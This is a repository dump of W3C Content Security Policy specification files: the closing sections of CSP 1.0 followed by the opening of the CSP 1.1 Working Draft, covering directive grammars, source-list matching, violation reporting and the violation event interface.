The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

If the policy contains an explicit font-src, let the allowed font sources be the result of parsing the directive's value as a source list. Otherwise, let the allowed font sources be the default sources

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed font sources, the user agent MUST act as if it had received an empty HTTP 400 response:

  • Requesting data for display in a font, such as when processing the @font-face Cascading Style Sheets (CSS) rule.

connect-src

The connect-src directive restricts which URIs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

If the policy contains an explicit connect-src, let the allowed connection targets be the result of parsing the directive's value as a source list. Otherwise, let the allowed connection targets be the default sources

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed connection targets, the user agent MUST act as if it had received an empty HTTP 400 response:

sandbox (Optional)

The sandbox directive is optional.

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = token *( 1*WSP token )
token             = <token from RFC 2616>

When enforcing the sandbox directive, a user agent that supports the sandbox directive MUST parse the sandboxing directive using the directive-value as the input and protected resource's forced sandboxing flag set as the output. [[!HTML5]]

report-uri

The report-uri directive specifies a URI to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

Let the set of report URIs be the value of the report-uri directive, each resolved relative to the protected resource's URI.

To send a violation report, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation-object with the following keys and values: [[!RFC4627]]
    csp-report
    A JSON object containing the following keys and values:
    document-uri
    The address of the protected resource, with any <fragment> component removed
    referrer
    The referrer attribute of the protected resource
    blocked-uri
    URI of the resource that was prevented from loading due to the policy violation, with any <fragment> component removed
    violated-directive
    The policy directive that was violated
    original-policy
    The original policy as received by the user-agent.
  2. If the origin of the blocked-uri is not the same as the origin of the protected resource, then replace the blocked-uri with the ASCII serialization of the blocked-uri's origin.
  3. Let the violation report be the JSON stringification of the violation-object.
  4. For each report URI in the set of report URIs:
    1. Fetch the report URI from origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/json with an entity body consisting of the violation report. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.)

Examples

Sample Policy Definitions

This section provides some sample use cases and accompanying security policies.

Example 1: A server wishes to load resources only form its own origin:

Content-Security-Policy: default-src 'self'

Example 2: An auction site wishes to load images from any URI, plugin content from a list of trusted media providers (including a content distribution network), and scripts only from a server under its control hosting sanitized ECMAScript:

Content-Security-Policy: default-src 'self'; img-src *;
                         object-src media1.example.com media2.example.com *.cdn.example.com;
                         script-src trustedscripts.example.com

Example 3: Online banking site wishes to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:

Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval'

This policy allows inline content (such as inline script elements), use of eval, and loading resources over https. Note: This policy does not provide any protection from cross-site scripting vulnerabilities.

Example 4: A social network wishes to ensure that all scripts are loaded from a specific path to prevent user-generated content from being interpreted as script:

Content-Security-Policy: default-src 'self'; script-src https://example.com/js/

Unfortunately, this use case is not supported in CSP 1.0. The user agent will ignore the path and act as if the policy contained a script-src directive with value https://example.com. A future version of CSP might begin enforcing these path restrictions, however.

Sample Violation Report

This section contains an example violation report the user agent might sent to a server when the protected resource violations a sample policy.

In the following example, the user agent rendered a representation of the resource http://example.org/page.html with the following CSP policy:

default-src 'self'; report-uri http://example.org/csp-report.cgi

The protected resource loaded an image from http://evil.example.com/image.png, violating the policy.

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/haxor.html",
    "blocked-uri": "http://evil.example.com/image.png",
    "violated-directive": "default-src 'self'",
    "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
  }
}

Security Considerations

Cascading Style Sheet (CSS) Parsing

The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "style sheets" hosted by an otherwise trustworthy origin.

These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.

Violation Reports

The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that white lists https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g., idenityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URI, such as session identifiers or purported identities. For this reason, the user agent includes only the origin of the blocked URI.

Implementation Considerations

The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource.

The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics.

One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies.

Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners.

Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins.

Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended.

IANA Considerations

The permanent message header field registry (see [RFC3864]) should be updated with the following registrations:

Content-Security-Policy

Header field name: Content-Security-Policy

Applicable protocol: http

Status: standard

Author/Change controller: W3C

Specification document: this specification (See Content-Security-Policy Header Field)

Content-Security-Policy-Report-Only

Header field name: Content-Security-Policy-Report-Only

Applicable protocol: http

Status: standard

Author/Change controller: W3C

Specification document: this specification (See Content-Security-Policy-Report-Only Header Field)

================================================ FILE: published/2014-02-04-CSP-1-1-WD.html ================================================ Content Security Policy 1.1

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of This Document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

Changes to this document may be tracked at https://github.com/w3c/webappsec.

This document describes an evolution of the Content-Security-Policy 1.0 specification. Version 1.1 is backwards compatible with 1.0 and adds support for a number of new directives that web sites can use to ease deployment of Content-Security-Policy and to improve security.

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group's requirements document: draft-hodges-websec-framework-reqs.

A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [RFC7034]

This document was published by the Web Application Security Working Group as a Working Draft. This document is intended to become a W3C Recommendation. If you wish to make comments regarding this document, please send them to public-webappsec@w3.org (subscribe, archives). All comments are welcome.

Publication as a Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

Table of Contents

1. Introduction

This section is non-normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

2. Conformance

As well as sections marked as non-normative, all authoring guidelines, diagrams, examples, and notes in this specification are non-normative. Everything else in this specification is normative.

The key words MUST, MUST NOT, REQUIRED, SHOULD, SHOULD NOT, RECOMMENDED, MAY, and OPTIONAL in this specification are to be interpreted as described in [RFC2119].

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("MUST", "SHOULD", "MAY", etc) used in introducing the algorithm.

A conformant user agent MUST implement all the requirements listed in this specification that are applicable to user-agents.

A conformant server MUST implement all the requirements listed in this specification that are applicable to servers.

2.1 Key Concepts and Terminology

This section defines several terms used throughout the document.

The term security policy, or simply policy, for the purposes of this specification refers to either:

  1. a set of security preferences for restrictions within which the content can operate, or
  2. a fragment of text that codifies these preferences.

The security policies defined by this document are applied by a user agent on a per-resource representation basis. Specifically, when a user agent receives a policy along with the representation of a given resource, that policy applies to that resource representation only. This document often refers to that resource representation as the protected resource.

A server transmits its security policy for a particular protected resource as a collection of directives, such as default-src 'self', each of which declares a specific set of restrictions for that resource as instantiated by the user agent. More details are provided in the directives section.

A directive consists of a directive name, which indicates the privileges controlled by the directive, and a directive value, which specifies the restrictions the policy imposes on those privileges.

The term origin is defined in the Origin specification. [RFC6454]

The term globally unique identifier is defined in section 4 of the Origin specification. Note that URLs that do not use hierarchical elements as naming authorities have origins which are globally unique identifiers. [RFC6454]

The term URI is defined in the URI specification. [URI]

The term resource representation is defined in the HTTP 1.1 specification. [HTTP11]

The term JSON object is defined in the JSON specification. [RFC4627]

The <script>, <object>, <embed>, <img>, <video>, <audio>, <source>, <track>, <link>, <applet>, <frame> and <iframe> elements are defined in the HTML5 specification. [HTML5]

The terms auxiliary browsing context, opener browsing context, and nested browsing context are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The @font-face Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [css-fonts-3]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHttpRequest]

The WebSocket object is defined in the WebSocket specification. [websockets]

The EventSource object is defined in the EventSource specification. [eventsource]

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC 5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in HTTP 1.1. [HTTP11]

The following core rules are included by reference, as defined in [ABNF Appendix B.1]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

3. Framework

This section defines the general framework for content security policies, including the delivery mechanisms and general syntax for policies. The next section contains the details of the specific directives introduced in this specification.

3.1 Policy Delivery

The server delivers the policy to the user agent via an HTTP response header.

3.1.1 Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy.

"Content-Security-Policy:" 1#policy

A server MAY send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.1.2 Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy.

"Content-Security-Policy-Report-Only:" 1#policy

For example, a server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves. If their site violates this policy, instead of breaking the site, the user agent will send violation reports to a URI specified in the policy. Once a site has confidence that the policy is appropriate, they start enforcing the policy using the Content-Security-Policy header field.

A server MAY send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

3.1.3 HTML meta Element

The server MAY supply a policy in an HTML meta element with an http-equiv attribute that is a case insensitive match for Content-Security-Policy.

Add the following entry to the pragma directives for the meta element:

Content security policy (http-equiv="content-security-policy")
  1. If the user agent is already enforcing a policy for the document, abort these steps.
  2. If the Document's head element is not an ancestor of the meta element, abort these steps.
  3. If the meta element lacks a content attribute, abort these steps.
  4. Let policy be the value of the content attribute of the meta element.
  5. Let directive-set be the result of parsing policy.
  6. Remove all occurances of report-uri and sandbox directives from directive-set.
  7. Enforce each of the directives in directive-set, as defined for each directive type.

As a consequence of these requirements, a policy supplied in an HTTP header field takes precedence over policies supplied in meta elements. Similarly, the above requirements entail that the first meta element containing a policy takes precedence over policies supplied in subsequent meta elements, and that modifications to the content attribute after it is parsed will be ignored.. Authors SHOULD place the meta element as early in the document as possible to reduce the risk of content injection before a protective policy can be read and enforced.

Note that the Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.1.4 Enforcing multiple policies.

This section is non-normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/
          

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy's criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.2 Syntax and Algorithms

3.2.1 Policies

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives:

policy            = [ directive *( ";" [ directive ] ) ]

Each directive consists of a directive-name and (optionally) a directive-value:

directive         = *WSP [ directive-name [ WSP directive-value ] ]
directive-name    = 1*( ALPHA / DIGIT / "-" )
directive-value   = *( WSP / <VCHAR except ";" and ","> )
3.2.1.1 Parsing

To parse a policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

3.2.2 Source List

Many CSP directives use a value consisting of a source list.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'self' represents the set of URIs which are in the same origin as the protected resource and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme ":"
host-source       = [ scheme "://" ] host [ port ] [ path ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" base64-value "'"
scheme            = <scheme production from RFC 3986, section 3.1>
host              = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path              = <path production from RFC 3986, section 3.3>
port              = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. This requirement ensures that the nonce-value is difficult for an attacker to predict.

Note that host-char contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but are instead Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

3.2.2.1 Parsing

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. If source list (with leading and trailing whitespace stripped) is a case insensitive match for the string 'none' (including the quotation marks), return the empty set.
  2. Let the set of source expressions be the empty set.
  3. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  4. Return the set of source expressions.

Note that characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you'd like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

3.2.2.2 Matching

To check whether a URI matches a source expression, the user agent MUST use an algorithm equivalent to the following:

  1. Normalize the URI according to RFC 3986, section 6.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If the URI's scheme is a case-insensitive match for the source expression's scheme, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If the URI does not contain a host, then return does not match.
    2. Let uri-scheme, uri-host, and uri-port be the scheme, host, and port of the URI, respectively. If the URI does not have a port, then let uri-port be the default port for uri-scheme. Let uri-path be the path of the URI after decoding percent-encoded characters. If the URI does not have a path, then let uri-path be the U+002F SOLIDUS character (/).
    3. If the source expression has a scheme that is not a case insensitive match for uri-scheme, then return does not match.
    4. If the source expression does not have a scheme, return does not match if
      1. the scheme of the protected resource's URI is a case insensitive match for HTTP, and uri-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource's URI is not a case insensitive match for HTTP, and uri-scheme is not a case insensitive match for the scheme of the protected resource's URI.
    5. If the first character of the source expression's host is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of uri-host, then return does not match.
    6. If the first character of the source expression's host is not an U+002A ASTERISK character (*) and uri-host is not a case insensitive match for the source expression's host, then return does not match.
    7. If the source expression does not contain a port and uri-port is not the default port for uri-scheme, then return does not match.
    8. If the source expression does contain a port, then return does not match if
      1. port does not contain an U+002A ASTERISK character (*), and
      2. port does not represent the same number as uri-port.
    9. If the source expression contains a non-empty path, then:
      1. Let decoded-path be the result of decoding path's percent-encoded characters.
      2. If the final character of decoded-path is the U+002F SOLIDUS character (/), and decoded-path is not a prefix of uri-path, then return does not match.
      3. If the final character of decoded-path is not the the U+002F SOLIDUS character (/), and decoded-path is not an exact match for uri-path then return does not match.
    10. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the URI has the same scheme, host, and port as the protected resource's URI (using the default port for the appropriate scheme if either or both URIs are missing ports).
  6. Otherwise, return does not match.

A URI matches a source list, if, and only if, the URI matches at least one source expression in the set of source expressions obtained by parsing the source list. Notice that no URIs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

3.2.2.2.1 Path Matching

This section is non-normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note that query strings have no impact on matching: the source expression example.com/file?key=value matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

3.2.2.3 Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the nonce attribute of the element after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in the set of source expressions.

3.2.2.4 Valid Hashes

An element's contents are the script block's source for script elements, or the value of the element's textContent IDL attribute for non-script elements such as style.

The algorithm digest of an element's contents is the result of applying algorithm to the element's contents.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in the set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
      • SHA-256 if the hash-algo component of hash is a case-insensitive match for the string "sha256"
      • SHA-384 if the hash-algo component of hash is a case-insensitive match for the string "sha384"
      • SHA-512 if the hash-algo component of hash is a case-insensitive match for the string "sha512"
      (SHA-256, SHA-384, and SHA-512 are the digest algorithms defined by the NIST)
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary algorithm digest of element's contents.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note that if an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

3.2.2.5 Media Type List

The experimental plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>
3.2.2.5.1 Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.
3.2.2.5.2 Matching

A media type matches a media type list if, and only if, the media type is a case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

3.2.2.6 Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or file), then abort these steps, and return the ASCII serialization of uri's scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri's origin.
  3. Return uri, with any <fragment> component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The URI of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URI (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation, even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URI of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URI in the set of report URIs:
    1. If the user agent has already sent a violation report for the protected resource to report URI, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URI.
    2. Queue a task to fetch report URI from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URI is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for this task is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource's Document, and
  2. If the set of report URIs is non-empty, send violation reports to each.

3.2.3 Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URIs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource's privileges that have been restricted in this way.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are instead reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator is using one policy but wishes to experiment with a stricter policy, the server operator can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

Whenever a user agent runs a worker: [WEBWORKERS]

  • If the worker's script's origin is a globally unique identifier (for example, the worker's script's URL has a scheme of data, blob, or file), then:
    • If the user agent is enforcing a CSP policy for the owner document, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker's script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker's script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

Whenever a user agent creates a an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any CSP policies for the protected resource, the user agent MUST enforce those CSP policies on the iframe srcdoc document as well.

Whenever a user agent creates a an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any CSP policies for the protected resource, the user agent MUST monitor those CSP policies on the iframe srcdoc document as well.

3.2.4 Script Interfaces

3.2.4.1 SecurityPolicyViolationEvent Events
[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
3.2.4.1.1 Attributes
blockedURI of type DOMString, readonly
Refer to the blocked-uri property of violation reports for a description of this property.
columnNumber of type long, readonly
Refer to the column-number property of violation reports for a description of this property.
documentURI of type DOMString, readonly
Refer to the document-uri property of violation reports for a description of this property.
effectiveDirective of type DOMString, readonly
Refer to the effective-directive property of violation reports for a description of this property.
lineNumber of type long, readonly
Refer to the line-number property of violation reports for a description of this property.
originalPolicy of type DOMString, readonly
Refer to the original-policy property of violation reports for a description of this property.
referrer of type DOMString, readonly
Refer to the referrer property of violation reports for a description of this property.
sourceFile of type DOMString, readonly
Refer to the source-file property of violation reports for a description of this property.
violatedDirective of type DOMString, readonly
Refer to the violated-directive property of violation reports for a description of this property.
dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
3.2.4.1.2 Dictionary SecurityPolicyViolationEventInit Members
blockedURI of type DOMString
Refer to the blocked-uri property of violation reports for a description of this property.
columnNumber of type long
Refer to the line-number property of violation reports for a description of this property.
documentURI of type DOMString
Refer to the document-uri property of violation reports for a description of this property.
effectiveDirective of type DOMString
Refer to the effective-directive property of violation reports for a description of this property.
lineNumber of type long
Refer to the line-number property of violation reports for a description of this property.
originalPolicy of type DOMString
Refer to the original-policy property of violation reports for a description of this property.
referrer of type DOMString
Refer to the referrer property of violation reports for a description of this property.
sourceFile of type DOMString
Refer to the source-file property of violation reports for a description of this property.
violatedDirective of type DOMString
Refer to the violated-directive property of violation reports for a description of this property.
3.2.4.1.3 Firing events using the SecurityPolicyViolationEvent interface

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object's blocked-uri key.
    • documentURI MUST be initialized to the value of report object's document-uri key.
    • effectiveDirective MUST be initialized to the value of report object's effective-directive key.
    • originalPolicy MUST be initialized to the value of report object's original-policy key.
    • referrer MUST be initialized to the value of report object's referrer key.
    • violatedDirective MUST be initialized to the value of report object's violated-directive key.
    • sourceFile MUST be initialized to the value of report object's source-file key.
    • lineNumber MUST be initialized to the value of report object's line-number key.
    • columnNumber MUST be initialized to the value of report object's column-number key.

The task source for this task is the Content Security Policy task source.

3.2.5 Directives

This section describes the content security policy directives introduced in this specification. Note that directive names are case insensitive.

